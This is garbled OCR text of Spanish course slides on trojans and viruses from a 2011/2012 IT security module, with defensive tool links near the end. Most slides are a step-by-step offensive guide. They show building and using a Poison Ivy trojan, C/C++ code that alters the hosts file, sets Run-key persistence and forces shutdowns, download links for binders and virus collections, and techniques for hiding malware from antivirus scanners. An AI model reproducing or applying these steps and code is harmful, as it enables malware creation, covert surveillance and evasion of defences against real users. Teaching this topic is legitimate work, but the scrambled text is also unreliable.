| {C49FERDE-CF0R-E5F0-4658-75 | =) Rar

MUEND.ERE

[rztall

&

Advanced

G

ﬂ Cancel

4% Generate Mext =
Mersion 2,30 Nr, of Ports; 1

 Mr. of Plugins: 1
%

Mr. of Connections: 0

——— ]
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Crear un troyano:

Ejemplos Practicos: Troyanos

O En la pantalla que aparece active la casilla Inject into a custom process y
escriba el nombre del proceso a infectar iexplorer.exe que el trafico del
troyano salga por Internet Explorer y de esta forma camufle con el trafico
web valido. Pulse Next.

Poison lvy
Advanced [nuevyo] Size: 8.85 KiB
&
Prafiles Process Mutex: H\;oic;&ili 7777777 l @
Key Logger Mutex: 7{\_/L_C§U32E3a \’ Z ~ .
s 2 ; O Finalmente en la pestana Built pulse el
5 : IV Inject into a custom process (L)) 7
onnection O Y O s
Process:  iexplore.exe [ bOtO n G enerate.
s, Format:
B
Install o PE
" Shellcode
& Binary
 Chnay
v e " Delphi Array
" Python rray
o
Build [%
€ Cancel &% Generate  Next =>
Version 2.3.0 Nr. of Ports: 1 Nr. of Plugins: 1 Nr. of Connections: 0
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Ejemplos Practicos: Troyanos
Conectarnos a un equipo infectado:

d Para conectamos al equipo infectado tenemos que ejecutar el
cliente en el equipo donde hemos indicado que van las peticiones

del troyano y esperar a que los equipos infectados se conecten a
nosotros.

d Para iniciar el cliente debe realizar los siguientes pasos:
< Ejecute Poison Ivy y en el menu File seleccione la opcion New
Client.
“ En la pantalla que aparece introduzca el puerto de escucha y
la contrasena que utiliza el troyano. Pulse Start.

Poison lvy - [New Client]
| File Preferences Wind
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Ejemplos Practicos: Troyanos

o o - = - -

Conectarnos a un equipo infectado:

Q Ahora tan soélo falta esperar y vera que al cabo de unos instantes
los equipos infectados se van conectando automaticamente en
nuestro cliente.

d En la pantalla que aparece introduzca el puerto de escucha y la
contrasena que utiliza el troyano. Pulse Start.

QA Para utilizar cualquier equipo tan solo debe pulsar dos veces sobre
el equipo.

Poison lvy - [Listening on Port: 3460 (Connections: 0)] @@@
EFEJ File Preferences Window Help - 8 X

Connections 'Statistics | Settings |
1D WAN LAM Con. Type Computer User Name Acc. Type os CPU Rk Version

Poison lvy - [Listening on Port: 3460 (Connections: 1)]
gﬂ File Preferences Window Help

Connections | Statistics | Settings |

D WAN e LAN Con. Type Computer User Name Acc. Type 0s CPU RaM
Lh nuevo 192.168.1.132 192.16... Direct AN_XP Administrador  Admin WinkP 2100 MHz 255.48 MiB

0378 - Seguridad y Alta Disponibilidad
Departamento de Informéatica y Comunicaciones. ASIR 2011/2012. 2° Curso 92



Ejemplos Practicos:
Conectarnos a un equipo infectado:

ab| Regedit
- |ab! Search
: :'_JJ Processes
o2 Services
3L Installed Applications
1 Windows
J‘Z“ Tools
58 Relay
: w“ Active Ports
8 Remote Shell
o Password Audit
*) Surveillance
21 Key Logger
@ Audio Capture
-[H] Screen Capture
-z, Webcam Capture
i Plugins

-

Troyanos

0] g = 2, 4 [ Process Manager
Image Name Path PID Image Base = Image Size | Threads CPU MemUsage @ Created
™ smssexe  \SystemRoot\System32\smss. exe 504 00000000 OQOODOODD 3 0 37200KE  04/04/20.. °
;ﬁ CSISS.exe 604 00000000 OOODODOD 11 1 1.38 MiB 04/04/20...
3 [ winlogon....  \?ACAWINDOWSsystem32\winlogon. exe 628 00000000 00ODOODD 1B 0 241MiE 04/04/20..
5§ ™ services....  C:AWINDOWShsystem32\services.exe 676 00000000  0OOOOOOD 15 0 375MiE 04/04/20...
™ lsassexe  CAWINDOWS\system32ilsass. exe £88 00000000  OOODOOOO 19 0 948.00KE  04/04/20..
— . CAWINDOWS\system32\svchost exe 844 00000000 OODODOODD 17 0 420MiE 04/04/20...
Iﬂ svchost.e..] 924 00000000 OOODODOD 11 0 3EEME 04/04/20..
‘ [ svchoste.. CAWINDOWS\System32\svchost exe 1020 000ODOOO  0OOOODOD 55 0 1616 MiB 04/04/20...
3 ™ svchoste... [% 1064 00000000  0OOODOOOD 6 0D 283MiE 04/04/20...
;ﬁ svchost.e... 1116 00000000 OO0OOOODD 13 0 401 MiE 04/04/20...
3 ™ spoolsv.e.. C:AWINDOWSsystem32\spoolsy. exe 1372 00000000  OOOOODOD 11 0 39 M 04/04/20..
B [ ¥MwareS... C:MArchivos de programa\yMware\VMware Toolshy... 1632 00000000 00000000 3 0 1.86 MiB 04/04/20...
@E explorere.. C:AWINDOWSAExplorer. EXE 1904 01000000  OOOFFOOD 13 0 15.25 MiB 04/04/20...
;[ﬁ alg.exe 484 00000000 OO0ODODOD 5 U 3.07 MiB 04/04/20...
+ [ wsentty.e..  CAWINDOWSsystem32\wscnify.exe 536 01000000  00ODEOOD 1 1. 83 MlB 04/04/20..

£ VhwareT

chivos de programa‘WMwaretyMware ToolsiW...

--

o Remote Port Scanner (1.1 @E VMware.. C:M\rchivos de programa‘WMwaretWMware Tools\W... 564 00400000  OOOTFOOO 1 0 2. 55 MlB 04204/20...
B Administration [ﬁﬁ ctfmon.exe  CAWINDOWShsystem324ctimon. exe 576 00400000  0OOOEOOD 1 0 2E63MiB 04/04/20...
¢ EditID @] emdexe  CAWINDOWS\syster32\emd exe B0 44D0O0000  00OBS000 1 0 S400KE  04/04/20..
3 :}f Share ] wuaucke... CAWINDOWS \system32\wuauch exe 1748 00400000  OOOODEOOD 3 0 354MiB 04/04/20...
_g gzg:;: @E taskmar.e... C:AWINDOWS\system32itaskmar.exe 1596 01000000  0OO25000 3 1 416 MiB 04/04/20... 4
3 ininctal @ﬁ IEXPLOR... C:\rchivos de programa’intemet Explorerhiesplore.exe 1072 00400000 00019000 14 0 23.33 MiB 04/04/20... s
5 | &/ Processes: 24 CPU Usage: 0%  Mem Usage: 104,71 MiB Threads: 277 Handles: 4763
D.00B/s Upload: 0.00B/s
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Ejemplos Practico

Connections | Statistics | Settings |
ID WAN o L&y
L4 nuevo 192.168.1.132 19

qQ ..
VYO DO

@ Information
Iiﬁ Managers
| ] Files
[} Search
--lab] Regedit
| Search
S Processes
<k Services
2 Installed Applications
] Windows
J‘* Tools
58 Relay
: ‘s‘ Active Ports
Bl Remote Shell
o~ Password Audit
) Surveillance
21 Key Loager
@ Audio Capture
~|H| Screen Capture
=4 Webcam Capture
i Plugins
@ Remote Port Scanner (1.1
= Administration
&’ EditID
U Share
: ":' Update
@ Restart

W | Ininstall
< i | B

Download:

Conectarnos aun equ:p
i G

n
i

!

fectado.

s: Troya

NOosS

—

Con. Type Computer User Name Acc. Type as CPU RaAM Version  Ping
6. Direct AN_XP Administrador ~ Admin WindP 2100 MHz 25548 MiB  2.3.0 62
Poiso u = m
0 % # |2 ul @ Service Manager
Display Name Service Name Path Description Type Status Startup Type  Logon as &
% Changer Changer Device Dri... STOPPED Automatic
% Servicio de Inde... CiSvc C:AWINDOWS \.system32\£\\§vc. e... Indiza el contenidoy... Shared Ser.. STOPPED Manual LocalSyste
% Portafolios ClipSryv C:AWINDOWShsystem32\clipsrv....  Habilita el Visor del P... StandardS... STOPPED Disabled LocalSyste
Controlador del ... B att system32\DRIVERSACmEB att. sys Device Dri...  RUNNING Manual L
3 Crodlde mdlde Device Dii.. STOPPED Disabled i
% Controlador de |...  Compbatt \SystemRoothsystem32\DRIVER... Device Dri...  RUNNING Automatic
%Aplicacién del si... COMSystpp C:AWINDOWShspstem32\dllhost....  Administra la configu...  StandardS... STOPPED Manual LocalSyste
% Cpqarray Cpqarray Device Dri... STOPPED Disabled
Servicios de cifr... CryptSve CAWINDOWShsystem32\svchos... Proporciona tres ser...  Shared Ser...  RUNNING Automatic LocalSyste
% dac960nt dac960nt Device Dri.. STOPPED Disabled
% Iniciador de pro...  DcomLaunch C:AWINDOWShsystem32\svchos... Ofrece el inicio de fu...  Shared Ser... RUNNING Automatic LocalSyste
% Cliente DHCP Dhep CAWINDOWS system324svchos...  Administra la configu...  Shared Ser... RUNNING Automatic LocalSyste
% Controlador de ... Disk \SystemRoot\system324DRIVER... Device Dri...  RUNNING Automatic
% Servicio del ad...  dmadmin C:AWINDOWSA\System32%dmad...  Configura las unidad...  Shared Ser... STOPPED Manual LocalSyste
% dmboaot dmboat System32hdrivershdmboot. sys Device Dri... STOPPED Disabled
% Controlador del ... dmio \SystemRoot\System32\driversh... Device Dri...  RUNNING Automatic
% dmload dmload \SystemRoot\System32\driversh... Device Dri...  RUNNING Automatic
%Administtador d.. dmserver C:AWINDOWSA\System32\svcho...  Detectay supervisa ... Shared Ser... RUNNING Automatic LocalSyste
% Sintetizador DL...  DMusic system32\drivershDMusic. sys Device Dri... STOPPED Manual
% Cliente DNS Dnscache CAWINDOWShsystem32\svchos... Resuelve v almacen...  Shared Ser... RUNNING Automatic NT AUTH.
% dptiZo dptizo Device Dri... STOPPED Disabled
% Descodificador ...  dimkaud system32\drivershdrmk aud. sys Device Dri... STOPPED Manual
% Servicio de |nfor... ERSve C:AWINDOWSA\System32\svcho...  Permite informar de e...  Shared Ser... RUNNING Automatic LocalSyste B
i ] B
0.00B/s Upload: 0.00B/s
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Ejemplos Practicos: Troyanos

—

,(,.

Conectarnos a un equipo nfectado:

ning on Port: 3460 (Connections: 1)]

Connections | Statistics | Setlmgs[

1D WAN LAN Con. Type Computer User Name Acc. Type 0s CPU RaAM Version  Ping
Q_&, nuevo 192.168.1.132 192.16... Direct AN_XP Administrador  Admin WinxP 2100 MHz 25548 MiB 230 94

@ Information 1] g =* ixé’; [
[ Managers [ =
: |_] Files Type Additional Data User Name
T Search @IE:AuloComplete Passwords  http://masteracsi.ual. es/moodle/login/index. php 77506033n
~-{ab) Regedit
[a4 Search
H, Processes
g2 Services
2. Installed &pplications
11 Windows
L)" Tools
58 Relay
) i .7 =
% ’;Z‘r'r‘:;fg’:;" QEn la opcion Surveilance los podemos poner a

> Password Audit funcionar en mod key logger, capturar pantallas, audio
) Csched |

2 NTNTLM Hashes o WebCam. En la parte de administracion nos permite
2 Wieless controlar el troyano (la parte de servidor).
=) Surveillance
=21 Key Logger
- Audio Capture
| Screen Capture
=4 Webcam Capture
% Plugins
@ Remote Port Scanner (1.1
5| Administration
- EditID
<

Cached Passwords

Password

||
iA

Download: 0.00B/s

e

Upload: 0.00B/s
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Ejemplos Practicos: Virus
Introduccion:

Q El primer virus que atacé a una maquina IBM Serie360 (y
reconocido como tal), fue llamado Creeper, creado en 1972 por
Robert Thomas Morris. Desde entonces hasta la actualidad han
surgido muchos tipos de virus cada vez mas sofisticados que a
veces son inofensivos ya que sélo muestran un mensaje al usuario
y otras son un poco mas destructivos y eliminan informacion de
nuestro disco duro o incluso borran la tabla de particiones del
equipo.

d En general, la estructura de un virus es muy sencilla ya que tan
sblo es un programa dafiino que suele infectar ficheros ejecutables
aunque también existen virus para imagenes o videos.

QO Tal y como muestra en la siguiente diapositiva, cuando un
virus infecta un ejecutable, el virus se infecta al final del
fichero y cambia el punto de entrada de la aplicacion para
que primero se ejecute el virus y luego se ejecute la
aplicacion normalmente.
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- Una diferencia L
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- &l archiva limpio
.y el infectado
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Ejemplos Practicos: Virus

Ejemplo de un virus:

d Existen muchos tipos de virus dependiendo de su funcionalidad,
pero basicamente se define virus como un programa malicioso que
realiza o dana el equipo de un cliente.

Q En el fragmento de cdédigo de la siguiente diapositiva puede verse
un ejemplo sencillo de virus en el que se modifica el fichero
c:/Windows/system32/drivers/etc/host para que cuando un cliente
se conecta a la pagina de www .google.es muestre la pagina del
servidor web de la Universidad de Almeria cuya IP es
150.214.156.62. Existen muchos tipos de virus que persiguen que
cuando un cliente se conecte a la pagina de su banco el sistema le
redireccione al servidor del atacante para registrar las contrasenas
del cliente (Phishing).

d Si compilamos el programa y lo escaneamos con un antivirus o a
través de la pagina web www.virustotal.com puede ver que el
virus es indetectable. Los antivirus detectan los virus por su
firma, y como nuestro virus no se encuentra en sus bases
de datos es indetectable.
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Ejemplos Practicos: Virus
Ejemplo de un virus:

Ejemplo de virus sencillo

#include <stdio.h>
Int main(void)

{
FILE *fd;
char cadena[100]="\n150.214.156.62 www.google.es\n";
fd=fopen("c:\\windows\\system32\\drivers\\etc\\nosts","a");
fwrite(&cadena,sizeof(cadena),1,fd);
fclose(fd);

}
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http://dis.um.es/~lopezquesada/documentos/IES_1112/SAD/curso/UT5/ejemplo4/virus1.cpp

) YirusTotal - Free Online Yirus, Matware and URL Scanner - Mozilla Firefox

Archivo  Editar  Wer Historial Marcadores  Herramienkas  Avuda

| P} WirusTokal - Free Onling Yirus, Malware and ... | + =

€ “l vl virustotal. com - El [ Q, ~ avE Secure Search j:}l Eis

(2] Mas visitados w Comenzar a usar Firef... |5 | Ultimas noticias “ CARM.es - Servicios D... g Plumierisl

YT Community  Signin ¥ Languages ¥
VI RUS Virustotal is a service that analyzes suspicious
files and URLs and facilitates the quick detection
TOTAL of viruses, worms, trojans, and all kinds of malware
detected by antivirus engines. More information...

Analysis Search Stats Advanced VT Community FAQ About VT

Service load @

I l Exarninar... J

[ send it over ssL @

Send file

If you wish, wou can also send files wia email or using YirusTotal's public AP

(Maximum file size: 20MB)

YirusTotal © Hispasec Sistemas - & Blog - 3 Twitter - Contact infodndrustotal.com - TOS & Privacy Policy
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Ejemplo de un virus:

Ejemplos Practicos: Virus
d Una de las formas que existen para que un virus se ejecute
siempre al arrancar es crear una entrada en el registro
HKLM\Software\Microsoft\Windows\CurrentVersion\Run.
Q Para hacer que el virus.exe se ejecute automaticamente puede
ejecutar el siguiente comando:
% reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run
/v datos /t REG-SZ /d virus.exe
% siendo datos el nombre de la etiqueta del registro y
virus.exe el nombre del fichero ejecutable. Logicamente,

el objetivo es que el virus se propague y se ejecutara
automaticamente en el sistema.

%1 Editor delRegistro

Archivo  Edicion  Wer Faworitos  Awuda
(1] PropertySystem # || Mombre Tipo Datos »~
#-(] reinstal (Predeterminado) REG_5Z {walor no establecido)
#-(] Reliabiiy AppIeSyncNotiFier REG_5Z Charchivos de program
T a X APSDaemon REG_5Z "CihArchivos de prograr
é EngﬂilsnaICDmponents avastS REG_5Z "CihArchivos de prograr
(3 RunOneeEx Cmaudio REG_5Z RunDll32 cricnfg.cpl, Cr
-] Setup CM-SmWizard REG_5Z CWINDOW S, Syskem
(3 SharedoLLs GrooveMonitor REG_5Z "Ciharchivos de prograr
#-(2 Shell Extensions iTunesHeIper REG_5Z "CihArchivos de prograr
+-[Z1 shellCampatibility KerneIFauItCheck REG_EXPAND_SZ %osystemrootehisystenr
+-[_] shellscrap QuickTime Task REG_5Z "C:harchivos de prograr
(21 shellserviceOhjectDelayLoad RegistrarCeresC... REG_5Z CHOFMMT-RCMuccs, exe
#-[_] SideBySide v SunJavaUpdateS. .. REG_3Z Ciarchivos de program
¢ 3 |[e »
i POYHKEY _LOCAL_MACHINE\SOFTWARE\Microsofth Windows\CurrentYersioniRun
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Ejemplo de un virus:

A continuacion se muestra un ejemplo de un virus que se copia
automaticamente en el sistema y modifica el registro para ejecutarse
automaticamente.

// Programa SDForce.exe
#include <iostream>
using namespace std;
Int main(void)

{

system(*'copy SDForce.exe %systemroot%\\system32\\SDForce.exe");
system("REG ADD
HKLMW\Software\\Microsoft\\Windows\\CurrentVersion\\Run /v
winUpdate /t REG_SZ /d SDForce.exe /f");

system("'shutdown -s -t: 0 -f");

return O;

} JEN
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http://dis.um.es/~lopezquesada/documentos/IES_1112/SAD/curso/UT5/ejemplo4/virus2.cpp

?
(m
f:‘
@

Ejemplos Practico

= \-.4-

EJempIo de un virus:

L -

system("'shutdown -s -t: 0 -f");
return 0;

Escribe Shutdown -l si lo que quiere es cerrar cesion

Escribe Shutdown -s si lo que quiere usted es apagar el equipo

Escribe Shutdown -r para reiniciar el equipo

Escribe Shutdown -ay podra anular el apagado del equipo

Escribe Shutdown -i Muestra las opciones a realizar pero graficamente.

Escribe Shutdown -t xx para establecer el tiempo de espera para apagar la

Escribe Shutdown -g Cierray reinicia el equipo, pero al iniciar reinicia las aplicaciones
registradas.

Escribe Shutdown -p Apaga el equipo pero sin avisar ni con un tiempo de espera.

Escribe Shutdown -h = Este comando hiberna al equipo.

Escribe Shutdown -m = Especificaa que equipo se quiere ejecutar este comando (no sirve el
comando -I)

Escribe Shutdown -c parainsertar un comentario maximo 127 caracteres

Escribe Shutdown -f si lo que quiere es forzar el cierre de todas las aplicaciones.
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Ejemplo de un virus:

Ejemplos Practicos: Virus

'Q."' Calimochao - Joiner Copyleft XAN & QuoVadis 2000-2002 E|

O Una vez creado el virus el Especifica los 2 archivos que quisres unit, no es necesario que los archivos sean

siguiente paso es infectar
un fichero para que primero
se ejecute el virus y luego
se ejecute/visualice el
fichero infectado (joiners-
blinder).

En la siguiente figura puede

ver el joiner Calimocho (es
un Joiner que tiene funciones de
adjuntar, seleccionar el modo de
ejecucion, cambiar el icono y lo mejor
de  todo que lo comprime
estupendamente para que no pese)

gjecutables, puedes poner una foto vy esta se abrira con el programa necesario,

Archivos de origen
1
frchivo 10 | CiiDocuments and Settings)StivvertlEscritoriolcools: @

V| Ejecutar este archivo de forma oculka

2
Archivo 2| C:\Documents and Settings|Stiuvert\EscritoriolMis i @

Ejecutar este archivo de forma oculka

3

Archivo que vas a generar

% Haz clic en el icono de |a izquierda para cambiar el icono que tendrd
=" &l ejecutable reultante que crees, b1 mm

V| Compririr &l archiva generada utiizanda URY (se reduce el tamafio un 50% )

4

| Mezclgme el calimacho | | Infarmacion | | Prescindo |
i ri
of 1] i
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Ejemplos Practicos: Virus
Ejemplo de un virus:
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OMultibinder 1.4.1 a Excelente Binders - Joiners
bin,d_er que p_ermite fundir KIMS clélr':/lvsarliéls (;rc]s\rllli?;) 0.6 MB
multiples archivos de todo
tipo Su fecha de edicidn fue ASTAROTH Astaroth Joiner v1.0 0,4 MB
agosto de 2001, pero hasta KILLER Killer Offsets 1.1 0,4 MB

14
para muchos antivirus. IPACKER IPacker Tool (Joiner) 0,2 MB
Introduzca los archivos a EESBINDER EES Binder 1.0 20 KB
pegar (pueden ser de FREHBIND Freshbind 2.0 10 KB
l(::utalqwerb tIpO,t II’;C|UIC|OS los CALIMOCHO Calimocho Joiner 0,2 MB
X mp, etc.).
r IPS Pr MULTIBINDER | Multibinder1.4.1 a 0,2 MB

OEs bueno para jugar con el INTERLACED Interlaced v1.00 0,2 MB
truco de la doble extension. JUNTADOR Juntador (binder) 0,6 MB
Hay que tener cuidado porque YAB YAB v2.0 (binder) 0,4 MB
?Unque Usemo_s un _ troyano DECEPTION Deception Binder 3.0 0,6 MB
indetectable, si el binder es R Zombie's Joiner v2.5 02 VB
detectable la alarma del - (Binder) '
antivirus disparara alertando YAB YAB v2.0 (Binder) 0,4 MB

7y Remote
a la victima. RADMIN Administrator 1,3 MB
2.1(Mirror)
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http://www.remotecontrolstudio.net/descargas/KIMS/KIMS1.1.rar
http://kizar.webcindario.com/programas/Astaroth.zip
http://rapidshare.de/files/28464396/killer_offsets_v1.1.zip.html
http://www.freewebtown.com/indetectables/Redbinder2.0.1_Fix.rar
http://www.telefonica.net/web2/telamarinera/h/Ipacker Tool.zip
http://www.evileyesoftware.com/files/EESBinder1.0.zip
http://www.evileyesoftware.com/files/freshbind.zip
http://www.telefonica.net/web2/telamarinera/h/calimocho.zip
http://www.telefonica.net/web2/telamarinera/h/Multibinder1.4.1.zip
http://www.telefonica.net/web2/telamarinera/h/Interlaced.zip
http://www.telefonica.net/web2/telamarinera/h/Juntador.zip
http://www.telefonica.net/web2/telamarinera/h/yab.zip
http://www.evileyesoftware.com/files/eesdeception.zip
http://www.boda-server.com/heibai/tools/bind/exeBinder1.5.zip
http://www.telefonica.net/web2/telamarinera/h/y4b_blnd.zip
http://www.radmin.com/radmin21.zip

Ejemplos Practicos: Virus
Generadores de Virus:

Od Ademas de poder hacer el virus de forma artesanal, en
Internet existen muchos joiners que permiten realizar un virus
de un forma sencilla siguiendo tan sélo un menu (Generador
de Virus DVG).

Nombre del Archivo Tamafo Descripcion Fecha
dvq.zip 46286 DVG 1.35 Jul 1995
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http://vx.netlux.org/dl/gen/dvg.zip

Ejemplos Practicos: Virus

Generadores de Virus:

d Otra forma de hacer un virus es modificar uno ya existente.

Para ello puede descargarse la coleccion de virus VX heavens
http://vx.netlux.org/

) Welcome to ¥X Heavens! (VX heavens) - Mozilla Firefox

archivo  Editar %er  Historial Marcadores  Herramientas — Awuda

weelcome bo Wi Heavens! (W heavens) =F -
=
€ ! - [a - 2~
[B] Mas visitados @) Comenzar a usar Firef . |5 Oltimas noticias 4k CARM.es - Servicios D g PlumiersxI
— -~
VX Heavens [ |[search|id Bookmark -7 25 = [Engisn o~

Library Collection Sources Engines Constructars Simulators Utilities Links Donate Forurm

Hosted sifes Viruses don't harm, ighorance does!
29a, cOrRuUPt G3n3tlk, Berniee,

Biltic, Bull Moose, DCA,

. - "Evensone has the right to freedom of opinioh and expression;
Doomriderz, EQOF Project, ihis n:g‘?‘:é includes freegt;’om to hoid op:'n:'of:s without J'n}t(:rference
FaSM.su, FAT Assemblngeam, and to seek, recelve ahd impart information and ideas through
herm1rt, Ik, 1zg0y, Positron, any mediz and regardiess of frontiers. "
Rootkits.su, RRLF, SPTH, Article 19 of "Universal Declaration of Hurman Rights"
W-Codez, Vazonez, WarGame

Eriendly sites Welcome to ¥X Heavens! This site is dedicated to providing information
Disidents Team about compuier wruses (or v, as some would prefer) to anyone who is
Mirus Collection interested in this topic.

Wirus Books This site contains @ massive, continuously updated collection  of

Get any file from the web

magazines, +wirus samples, wirus sources, polymorphic engines, wirds
Mour link here?

generatars, wvirus writing tutorials, articles, books, news archives etc. Even
the wviruses for the platforms you've newver heard of. ¥We also offer free
haosting for virus authors and groups.

Some of you might reasonably say that it is illegal to offer such content on
the net. Or that this infarmation can be misused by "malicious people". | aonly
want to ask that person: “s ighorance a defence s

webmaster@wy. netiux.arge:

You can help us improve the site by uploading new stuff, making a donation, posting our
link to your site, blog or forurm, or leaving 2 comment Thank you!
iWhat's new? (January 2012) Eine qusta <163

+ LIB/RL: ZOmbie "BrpycHEIE TEXHONOMNM: HTo janbwe" =

+ LIB/RL: ZOmbie "OJeTEKTHMDYEM NERMY TIADYHILMEA BADyC

+ LIB/RU: Z0mbie "MeTamopdimzm (HacTe 17"

+ LIB/RL: ZOmbie "MepcnekTHERl PE3EMTUA BMPYCOE"B

+ DLPE: Lempelk-Ziv 3200t Compression Engine by Sexy (LZCEIZE

bbbbbbm

SO C+4++ 5.0 ANA cO3AaHKMA NEPEMELLEERMOND NPOrparHoro koga"=

Aftermeth in Eujitsu wirus request (2012-01-05 19:12:08)
droopy in MickyspyeA - Android trojan (2012-01-05 19:03:05)
S drnnosin Toran from chins @201 2-01-05 19- 002870 g
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Ejemplos Practicos: Virus
Ocultacion para el Antivirus:

d Existen muchas formas que permiten ocultar sw malicioso a
un antivirus. Los antivirus cuando reconocen un determinado
software malicioso lo hacen utilizando algoritmos de busqueda
de patrones (match pattem). Dichos patrones se forman a
partir de los valores que hay en un conjunto de posiciones del
ejecutable. Para que un software malicioso no sea detectable
por los antivirus, entonces hay que ocultar dicho patrén.

Q Para poder ocultar el patron hay dos técnicas: cifrado de
datos y codificacion de los valores de la firma. El cifrado
de datos consiste en cifrar todo el fichero de forma que el
ejecutable no sea visible por los antivirus. La otra forma se
ocultar el ejecutable, es localizar el patron del antivirus y
cambiar alguna posicion del ejecutable (que no sea
importante) para que asi cambie la firma.
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Ejemplos Practicos: Virus
Ocultacion para el Antivirus:

d Cifrado de Datos: Podemos usar Themida para cifrar los
programas para que no se puedan desamblar o, lo que es lo
mismo, permite cifrar los troyanos y virus para que se vuelvan
indetectables para cualuier antivirus.

783 Themida v2.0.4.0 [Demo] | Project: C:\Users\Softpedia\Desktop\Softpedia Test.tmd

’-]HSI I IlDA ‘ Advanced Windows Software Protection System
J Mew [-_J Open... Hgave HSEUE As... ‘ 9 Protect ‘ Jﬂelp \%)mout... ‘ Demo Version

Application Information

&) Application Information @ Application Information
Protection Cptions
= Application Softpedia Test [~ et from version info
Code Replace
Virtual Machine Version [ Get from version info
Customized Dialogs Input Filename C:\softpedia\Softpedia test.exe © | & Refresh
Advanced Options Dutput Filename | C:\Softpedia\Softpedia test.exe = Same as input
XBundler

File Size 820.02kb

File Information File Type: Windows Standard Executable (32-bit)

Virtual Machine Macro Functions: 0
CodeReplace Macro Functions: 0
CodeEncrypt Macro Functions: 0
ClearCode Macro Functions: 0

@ Themida GUI Overview
@ Application Information

Last Modified: 06-Mov-08 16:27:18
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Ejemplos Practicos: V

Ocultacion para el Antivirus:

‘ ’ ’1H8FI"IIDA

Advanced Windows Software Protection System

“\SoftpedialSoftpedia test.exe
Output Flename | C:\Softpedia\Softpedia test exe \ Same a5 input

File Size 820.02kb

New s; e As... o
L O
~ Options 2
- lication Information 2
g tiot
- i Softpedia Test
e R
g al Max i
& customized Dialogs Input Filename ~ C:'\So i i
L Options
3 xBundler

File Information  File Type: Windows Standard Executable (32-bit)

Themida.1.8.5.5.Full.zip

 Themida 1.7.3 http://rapidshare.com/files/50018369/Themida 1.7.3.0.rar.html

O Themida 1.8.5.2 http://www.megaupload.com/?d=AM4D2KTO0

O Themida 1.8.5.5 http://rapidshare.com/files/11421952/Themida.1.8.5.5.Full.zip.html

1 Themida 1.9.1 http://rapidshare.com/files/40529499/Themida v1.9.1.zip.html
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Ejemplos Practicos: Virus
Ocultacion para el Antivirus:

O Modificar la Firma: Antes de todo decir que esto no se pueden hacer con
todos los troyanos o virus y que funcionen, ya que depende del antivirus que
quiera “brular”

O En primer lugar, hay que instalar un editor hexadecimal (por ejemplo, Winhex-
Manual de WinHex-). Después de haberlo instalado, abra el fichero que quiera
ocultar (por ejemplo, netcat) y baje hasta el final del fichero para obtener su
longitud.

QO El siguiente paso es dividir ese nimero por 2 para dividir el contenido del
archivo en dos partes iguales. Una parte la deja igual y la otra la rellena de 0 (o
sea nada):

Con el boton derecho del ratéon pulse y seleccione Edit.
s»Seleccione Fill Block.
Y después pulse OK para rellenar con 00 la mitad del archivo.
Q Tras este Ultimo paso, tiene el archivo de netcat, con la mitad en blanco. Utilice
el antivirus para escanear el archivo y comprobar si aun detecta virus. Si
detecta que es un virus, sabra que el Offset que utiliza el antivirus esta en la
mitad que no ha rellenado de 00. Si no lo detecta quiere decir que encuentra en
la parte que rellene de 00. Tras realizar este método su puede acotar el Offset
exacto que el antivirus utiliza para detectarlo.
Q Sodlo resta ir al archivo original y eliminar esos Offset ejecutable no pueda ser
utilizado.
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Referencias WEB:

@ Blog con multitud de noticias y enlaces sobre seguridad
informatica:

 http://www.inteco.es/Sequridad/Observatorio/BlogSeqguridad

® CERT - INTECO - Centro de Respuesta a Incidentes de
Seguridad. Instituto Nacional de Tecnologias de la
Comunicacion:
O www.cert.inteco.es/

W Comparativas de software antivirus gratuitos:
O http://www.descarga-antivirus.com/

¥ Web sobre software antimalware:
O http://www.antivirusgratis.com.ar/

® Valida el nivel de seguridad y confiabilidad de las URL
visitadas. McAfee:
O www.siteadvisor.com
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Referencias WEB:

W Listado con software malware y software antimalware
falso (Rogue o Fakeavs)

J www.Forospyware.com
W Articulo para prevenir y curar virus en el arranque de
dispositivos USB.

3 www.cristalab.com/tips/como-eliminar-virus-autorun.inf-de-un-
dispositivo-usb-c 76436/

® Historia del malware

O http://www.pandasecurity.com/spain/homeusers/security-
info/classic-malware/

® Web sobre software antimalware:
O http://www.antivirusqgratis.com.ar/

= Comprobar la confiabilidad de aplicaciones instaladas,
mediante la revision de la lista actualizada:

O http://www.forospyware.com/t5.html
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Utiles gratuitos de seguridad informética categorizados, en CERT - INTECO —
Centro de Respuesta a Incidentes de Seguridad. Instituto Nacional de
Tecnologias de la Comunicacion:

 http://cert.inteco.es/software/Proteccion/utiles gratuitos/

Seccion de software gratuito antimalware en Softonic:

O http://www.softonic.com/s/malware

Revealer Kevlogger: Kevylogger

O http://www.logixoft.com/

ClamAv, v su version grafica Clamtk: antivirus para entornos GNU/Linux.
O http://es.clamwin.com/

AVG Rescue CD: distribucion arrancable desde USB y CD para analisis en
modo Live de antimalware.

O http://www.avqg.com/ww-es/avg-rescue-cd

Sysinternals: Paquete de herramientas de analisis a bajo nivel, del sistema
operativo Windows.

O http://technet.microsoft.com/es-es/sysinternals/default

HiJackThis: Analizador de aplicaciones, servicios activos, cambios de
configuracion producidos por malware, en el sistema operativo Windows.
Producto de Trend Micro.

O free.antivirus.com/hijackthis/
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=nlaces a Herramien SW:

SOFTWARE ANTIVIRUS
= AVG Anti-Virus 9.0
d http://free.avg.com/ww-es/antivirus-gratis-avqg
W Avast
d http://www.avast.com/free-antivirus-download#tab4
= Avira

O http://www.free- - o
av.com/en/download/1/avira antivir personal free antivirUie

W Microsoft Security Essentials
d http://www.microsoft.com/Security Esseqtiaﬂ ‘
¥ Panda Cloud Antivirus ~
d http://www.cloudantivirus.com/es/
® USB Vaccine USB
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O http://www.malwarebytes.org/mbam.php
W Spyware Terminator
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= Ad-Aware.

d http://www.lavasoft.com/products/ad aware free.php?izaks
W Spybot
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W Windows Defender
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Practicas/Actividades

~——

Actividad 1.- Biusqueda de Informacion L
Sw

Busqueda de informacion con el fin de elaborar un diccionario
de herramientas mencionadas en este tema, y de aquellos que
resulten de la busqueda de informacion, en el que se describan
los siguientes elementos: descripcion, http de descargay http de

aspectos.
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Practicas/Actividades

i —

Actividad 2.- 5
troyanos y virus

Objetivo: Configure un keylogger para que envie los

registros via web e infecte un fichero ejecutable. Una vez

infectado el fichero ejecute en una maquina y compruebe su
- - [ cvertos:— on vewe N D i
correcto funcionamiento. ==

September, 2010 » Select a date or date range in PERFECT
the calendar to view log

Sun Mon Tue Wed Thu Fri  Sat records. Drag the mouse t

2 030 31 1 2 3 4 soloct orange of dates. KEYLOGGER

Recursos: BB ou s oB DB S |

Eind...
13 200 A 22 23 M 5 =

